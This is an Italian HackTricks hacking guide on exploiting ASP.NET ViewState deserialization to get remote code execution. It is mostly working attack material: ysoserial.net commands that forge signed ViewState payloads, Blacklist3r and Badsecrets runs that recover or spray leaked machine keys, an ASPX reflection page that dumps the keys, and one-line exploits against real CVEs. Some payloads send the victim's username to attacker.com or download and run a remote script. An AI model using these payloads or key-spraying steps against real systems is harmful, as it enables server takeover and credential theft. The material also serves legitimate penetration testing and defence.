Sfruttare __VIEWSTATE senza conoscere i segreti
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Che cosâè ViewState
ViewState funge da meccanismo predefinito in ASP.NET per mantenere i dati della pagina e dei controlli tra le richieste. Durante il rendering dellâHTML di una pagina, lo stato corrente della pagina e i valori da preservare durante un postback vengono serializzati in stringhe codificate in base64. Queste stringhe vengono poi inserite in campi ViewState nascosti.
Le informazioni di ViewState possono essere caratterizzate dalle seguenti proprietĂ o dalle loro combinazioni:
- Base64:
- Questo formato è utilizzato quando gli attributi
EnableViewStateMaceViewStateEncryptionModesono impostati su false. - Base64 + MAC (Message Authentication Code) Abilitato:
- Lâattivazione del MAC si ottiene impostando lâattributo
EnableViewStateMacsu true. Questo fornisce la verifica dellâintegritĂ dei dati ViewState. - Base64 + Encrypted:
- La cifratura viene applicata quando lâattributo
ViewStateEncryptionModeè impostato su true, garantendo la riservatezza dei dati ViewState.
Casi di test
Lâimmagine è una tabella che dettaglia diverse configurazioni di ViewState in ASP.NET in base alla versione del framework .NET. Ecco un riepilogo del contenuto:
- Per qualsiasi versione di .NET, quando sia MAC che la cifratura sono disabilitati, non è richiesto un MachineKey e quindi non esiste un metodo applicabile per identificarlo.
- Per versioni inferiori a 4.5, se il MAC è abilitato ma la cifratura no, è richiesto un MachineKey. Il metodo per identificare il MachineKey è indicato come âBlacklist3r.â
- Per versioni inferiori a 4.5, indipendentemente dal fatto che il MAC sia abilitato o meno, se la cifratura è abilitata è necessario un MachineKey. Lâidentificazione del MachineKey è un compito per âBlacklist3r - Future Development.â
- Per le versioni 4.5 e successive, tutte le combinazioni di MAC e cifratura (sia che entrambi siano true, o che uno sia true e lâaltro false) richiedono un MachineKey. Il MachineKey può essere identificato usando âBlacklist3r.â
Caso di test: 1 â EnableViewStateMac=false and viewStateEncryptionMode=false
Ă inoltre possibile disabilitare completamente il ViewStateMAC impostando la chiave di registro AspNetEnforceViewStateMac a zero in:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
Identificazione degli attributi di ViewState
Puoi provare a verificare se ViewState è protetto da MAC catturando una richiesta contenente questo parametro con BurpSuite. Se Mac non viene usato per proteggere il parametro, puoi sfruttarlo usando YSoSerial.Net
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
Caso di test 1.5 â Come il caso di test 1 ma il cookie ViewState non viene inviato dal server
Gli sviluppatori possono rimuovere ViewState dallâessere parte di una richiesta HTTP (lâutente non riceverĂ questo cookie).
Si potrebbe presumere che se ViewState non è presente, la loro implementazione sia sicura da eventuali vulnerabilità derivanti dalla deserializzazione di ViewState.
Tuttavia, non è cosÏ. Se aggiungiamo il parametro ViewState al corpo della richiesta e inviamo il nostro payload serializzato creato usando ysoserial, saremo comunque in grado di ottenere code execution come mostrato nel Caso 1.
Caso di test: 2 â .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
Per abilitare ViewState MAC per una pagina specifica dobbiamo apportare le seguenti modifiche in un file .aspx specifico:
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
Possiamo farlo anche per lâintera applicazione impostandolo nel file web.config come mostrato di seguito:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
PoichĂŠ il parametro è protetto da MAC questa volta, per eseguire con successo lâattacco dobbiamo prima ottenere la chiave usata.
Puoi provare a usare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave usata.
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
Badsecrets è un altro tool che può identificare machineKeys noti. Ă scritto in Python, quindi, a differenza di Blacklist3r, non ha dipendenza da Windows. Per .NET viewstates, esiste una utility âpython blacklist3râ, che è il modo piĂš rapido per usarla.
Può essere fornito direttamente con il viewstate e il generator:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE

Oppure, può connettersi direttamente allâURL di destinazione e provare a estrarre il viewstate dallâHTML:
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx

Per cercare viewstates vulnerabili su larga scala, in combinazione con lâenumerazione dei sottodomini, può essere usato il modulo badsecrets BBOT:
bbot -f subdomain-enum -m badsecrets -t evil.corp

Se sei fortunato e la chiave viene trovata, puoi procedere con lâattack usando YSoSerial.Net:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
Nei casi in cui il parametro _VIEWSTATEGENERATOR non viene inviato dal server, non è necessario fornire il parametro --generator, ma i seguenti:
--apppath="/" --path="/hello.aspx"
Sfruttare valori <machineKey> riciclati su larga scala
Ink Dragon (2025) ha dimostrato quanto sia pericoloso quando gli amministratori copiano i blocchi di esempio <machineKey> pubblicati nella Microsoft docs, nelle risposte di StackOverflow o nei blog dei vendor. Una volta che un singolo target leaks o riusa quelle chiavi attraverso la farm, ogni altra pagina ASP.NET che si fida di ViewState può essere dirottata da remoto senza alcuna vulnerabilità aggiuntiva.
- Build a candidate wordlist with the leaked
validationKey/decryptionKeypairs (e.g. scrape public repos, Microsoft blog posts, or keys recovered from one host in the farm) and feed it to Blacklist3r/Badsecrets:
AspDotNetWrapper.exe --keypath reused_machinekeys.txt --url https://target/_layouts/15/ToolPane.aspx --decrypt --purpose=viewstate --modifier=<VIEWSTATEGENERATOR>
# or let Badsecrets spray the list
bbot -f subdomain-enum -m badsecrets --badsecrets-keylist reused_machinekeys.txt -t sharepoint.customer.tld
Lo strumento firma ripetutamente un blob benigno __VIEWSTATE con ogni chiave candidata fino a quando il server non accetta il MAC, dimostrando che la chiave è valida.
2. Forge the malicious ViewState once the key pair is known. If encryption is disabled you only need the validationKey. If encryption is enabled, include the matching decryptionKey so the payload survives the decrypt â deserialize path:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -c iwr http://x.x.x.x/a.ps1|iex" \
--validationkey "$VALIDATION" --decryptionkey "$DECRYPTION" --validationalg="SHA1" --generator=<VIEWSTATEGENERATOR>
Gli operatori spesso incorporano launcher residenti su disco (es. PrintNotifyPotato, ShadowPad loaders, ecc.) direttamente nel payload perchĂŠ viene eseguito come worker di IIS (w3wp.exe).
3. Pivot laterally by recycling the same <machineKey> across sibling SharePoint/IIS nodes. Once one server is compromised you can replay the key to hit every other server that never rotated its configuration.
Caso di Test: 3 â .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
In questo caso non si sa se il parametro sia protetto con MAC. Allora il valore è probabilmente criptato e avrai bisogno del Machine Key per criptare il tuo payload per sfruttare la vulnerabilità .
In questo caso il modulo Blacklist3r è in sviluppoâŚ
Prima di .NET 4.5, ASP.NET può accettare un parametro ___VIEWSTATE_ non criptato dagli utenti anche se ViewStateEncryptionMode è stato impostato su Always. ASP.NET controlla solo la presenza del parametro __VIEWSTATEENCRYPTED nella richiesta. Se si rimuove questo parametro e si invia il payload non criptato, verrà comunque elaborato.
Quindi se gli attacker trovano un modo per ottenere il Machinekey tramite unâaltra vuln come file traversal, il comando YSoSerial.Net usato nel Caso 2, può essere utilizzato per eseguire RCE usando la vulnerabilitĂ di deserializzazione di ViewState.
- Rimuovere il parametro
__VIEWSTATEENCRYPTEDdalla richiesta per sfruttare la vulnerabilitĂ di deserializzazione di ViewState, altrimenti restituirĂ un errore di validazione MAC di ViewState e lâexploit fallirĂ .
Caso di Test: 4 â .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false eccetto quando entrambi gli attributi sono false
Possiamo forzare lâuso del framework ASP.NET specificando il parametro qui sotto allâinterno del file web.config come mostrato di seguito.
<httpRuntime targetFramework="4.5" />
In alternativa, questo può essere fatto specificando lâopzione sottostante allâinterno del parametro machineKey del file web.config.
compatibilityMode="Framework45"
Come nel precedente il valore è cifrato. Quindi, per inviare un payload valido lâattaccante ha bisogno della chiave.
Puoi provare a usare Blacklist3r(AspDotNetWrapper.exe) per trovare la chiave utilizzata:
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
Per una descrizione piĂš dettagliata di IISDirPath e TargetPagePath consulta qui
Oppure, con Badsecrets (con un valore generator):
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415

Una volta identificata una Machine key valida, il passo successivo è generare un payload serializzato usando YSoSerial.Net
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
Se hai il valore di __VIEWSTATEGENERATOR puoi provare a usare il parametro --generator con quel valore e ommettere i parametri --path e --apppath

Un sfruttamento riuscito della vulnerabilitĂ di deserializzazione del ViewState porterĂ a una richiesta out-of-band verso un server controllato dallâattaccante, che includerĂ il nome utente. Questo tipo di exploit è dimostrato in un proof of concept (PoC) reperibile nella risorsa intitolata âExploiting ViewState Deserialization using Blacklist3r and YsoSerial.NETâ. Per maggiori dettagli su come funziona il processo di sfruttamento e su come utilizzare strumenti come Blacklist3r per identificare la MachineKey, puoi consultare il PoC of Successful Exploitation.
Caso di test 6 â ViewStateUserKeys è in uso
La proprietĂ ViewStateUserKey può essere usata per difendersi da un CSRF attack. Se una tale chiave è stata definita nellâapplicazione e proviamo a generare il payload di ViewState con i metodi discussi finora, il payload wonât be processed by the application.
Devi usare un parametro in piĂš per creare correttamente il payload:
--viewstateuserkey="randomstringdefinedintheserver"
Risultato di uno Sfruttamento Riuscito
Per tutti i casi di test, se il ViewState YSoSerial.Net payload funziona con successo allora il server risponde con â500 Internal server errorâ con contenuto della risposta âThe state information is invalid for this page and might be corruptedâ e riceviamo la richiesta OOB.
Consulta further information here
Dumping ASP.NET Machine Keys via Reflection (SharPyShell/SharePoint ToolShell)
Gli attaccanti che sono in grado di caricare o eseguire codice ASPX arbitrario allâinterno della web root del target possono recuperare direttamente le chiavi segrete che proteggono __VIEWSTATE invece di bruteforcingarle.
Un payload minimale che leaks le chiavi sfrutta classi .NET interne tramite reflection:
<%@ Import Namespace="System.Web.Configuration" %>
<%@ Import Namespace="System.Reflection" %>
<script runat="server">
public void Page_Load(object sender, EventArgs e)
{
var asm = Assembly.Load("System.Web");
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
var cfg = (MachineKeySection)m.Invoke(null, null);
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
}
</script>
Richiedendo la pagina vengono mostrati il ValidationKey, il DecryptionKey, lâalgoritmo di crittografia e la modalitĂ di compatibilitĂ di ASP.NET. Questi valori possono ora essere inseriti direttamente in ysoserial.net per creare un gadget __VIEWSTATE valido e firmato:
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"whoami\"" \
--generator=<VIEWSTATE_GENERATOR> \
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
--islegacy --minify
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
Questa primitiva di esfiltrazione di chiavi è stata sfruttata massivamente contro server SharePoint on-prem nel 2025 (âToolShellâ â CVE-2025-53770/53771), ma è applicabile a qualsiasi applicazione ASP.NET in cui un attacker può eseguire codice server-side.
2024-2025 Scenari di sfruttamento reali e Hard-coded Machine Keys
Microsoft âpublicly disclosed machine keysâ wave (Dec 2024 â Feb 2025)
Microsoft Threat Intelligence ha riportato una massiccia ondata di sfruttamento di siti ASP.NET in cui il machineKey era stato precedentemente leaked su fonti pubbliche (GitHub gists, blog posts, paste sites). Gli avversari enumeravano queste chiavi e generavano gadget __VIEWSTATE validi con la versione 1.41 di ysoserial.net usando i flag --minify e --islegacy per eludere i limiti di lunghezza del WAF:
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
--generator=<VIEWSTATEGEN> --minify
Targets che continuano a riutilizzare le stesse chiavi statiche su piĂš farm rimangono vulnerabili indefinitamente; una volta che migrano a valori AutoGenerate la spray technique muore, quindi date prioritĂ alle legacy deployments che espongono ancora materiale hard-coded.
CVE-2025-30406 â Gladinet CentreStack / Triofox chiavi hard-coded
Kudelski Security ha scoperto che diverse release di CentreStack / Triofox sono state distribuite con valori machineKey identici, permettendo lâesecuzione remota di codice senza autenticazione tramite ViewState forgery (CVE-2025-30406).
Exploit in una riga:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
--validationalg=SHA1 \
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
--decryptionalg=AES --generator=24D41AAB --minify \
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
Corretto in CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 â eseguire immediatamente lâaggiornamento o sostituire le chiavi.
Riferimenti
- Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET
- Deep dive into .NET ViewState deserialization and its exploitation
- Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)
- Introducing badsecrets â fast machineKey discovery
- SharePoint âToolShellâ exploitation chain (Eye Security, 2025)
- Microsoft Security â Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)
- Kudelski Security advisory â Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)
- https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/
- https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817
- https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/
- https://blog.blacklanternsecurity.com/p/introducing-badsecrets
- SharePoint âToolShellâ exploitation chain (Eye Security, 2025)
- Check Point Research â Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
Impara e pratica il hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al đŹ gruppo Discord o al gruppo telegram o seguici su Twitter đŚ @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.


